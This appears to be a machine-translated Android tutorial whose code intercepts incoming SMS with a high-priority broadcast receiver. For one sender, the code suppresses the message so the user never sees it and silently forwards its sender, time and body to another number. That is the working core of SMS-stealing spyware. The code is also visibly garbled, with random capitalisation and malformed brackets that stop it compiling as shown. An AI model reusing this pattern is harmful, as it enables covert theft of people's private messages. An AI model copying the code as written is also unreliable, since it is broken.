The implementation of SMS interception is mainly realized by using broadcast receivers.
The Broadcastreceiver broadcast receiver must specify the type of broadcast to receive. You must explicitly specify the action
Broadcast: event.
Normal broadcast: Asynchronous. Will broadcast receiver simultaneously, cannot be interrupted
Sendbroadcast ()
Ordered broadcasts: synchronized. will be received according to the priority of the broadcast received, you can interrupt the arrival of the message broadcast
Sendorderbroadcast ()
The range of priority is:-1000 ~ 1000
If the ordered broadcast explicitly designates the broadcast receiver, he cannot be interrupted.
The code implementation is as follows:
1, Mainactivity
Copy Code code as follows:
Package com.njupt.t4;
Import Android.os.Bundle;
Import android.app.Activity;
Import Android.content.IntentFilter;
Import Android.view.Menu;
public class Mainactivity extends activity {
Private Smsreceiver receiver = new Smsreceiver ();
@Override
protected void OnCreate (Bundle savedinstancestate) {
Super.oncreate (savedinstancestate);
Setcontentview (R.layout.activity_main);
Intentfilter filter = new Intentfilter ();
Filter.setpriority (997);
Filter.addaction ("Android.provider.Telephony.SMS_RECEIVED");
Registerreceiver (Receiver,filter);
}
@Override
public boolean Oncreateoptionsmenu (Menu menu) {
Inflate the menu; This adds items to the action bar if it is present.
Getmenuinflater (). Inflate (R.menu.main, menu);
return true;
}
@Override
protected void OnDestroy () {
Super.ondestroy ();
Unregisterreceiver (receiver);
}
}
2, Smsreceiver
Copy Code code as follows:
Package com.njupt.t4;
Import Java.text.SimpleDateFormat;
Import Android.content.BroadcastReceiver;
Import Android.content.Context;
Import android.content.Intent;
Import Android.os.Bundle;
Import Android.telephony.SmsManager;
Import Android.telephony.SmsMessage;
public class Smsreceiver extends Broadcastreceiver {
@Override
public void OnReceive (context context, Intent Intent) {
System.out.println ("Zetian is my wife, my wife has succeeded ...");
Bundle Bundle = Intent.getextras ();
Object[] objects = (object[]) bundle.get ("PDUs");
for (Object obj:objects) {
Smsmessage smsmessage = SMSMESSAGE.CREATEFROMPDU ((byte[)) obj);
String BODY = Smsmessage.getdisplaymessagebody ();
String address = smsmessage.getdisplayoriginatingaddress ();
Long date = Smsmessage.gettimestampmillis ();
SimpleDateFormat format = new SimpleDateFormat ("Yyyy-mm-dd hh:mm:ss");
String datestr = Format.format (date);
SYSTEM.OUT.PRINTLN (address + "" "+ datestr +" sent you the following: "+ body);
if (Address.equals ("5558")) {
Abortbroadcast ();
Smsmanager Smsmanager = Smsmanager.getdefault ();
Smsmanager.sendtextmessage ("5556", Null,address + "on" + Datestr + "sent you the following:" + Body,null,null);
}
}
}
}
3, Androidmanifest.xml
You need to register the permissions in the manifest file. (if not registered is not successfully intercepted to SMS, in the Logcat will be warn
Level tells you that you do not have the appropriate authority ...)
Copy Code code as follows:
<uses-permission android:name= "Android.permission.RECEIVE_SMS"/>
<uses-permission android:name= "Android.permission.SEND_SMS"/>
<uses-permission android:name= "Android.permission.PROCESS_OUTGOING_CALLS"/>
-----------------------------------------------------in fact, the above is the way to register broadcastreceiver using the code-------------
You can actually register receiver this component in Androidmanifest.xml (but I always have a memory leak error in this way, so the following code is for reference only)
Copy Code code as follows:
<receiver android:name= ". Smsreceiver ">
<intent-filter android:priority= "1000" >
<action android:name= "Android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>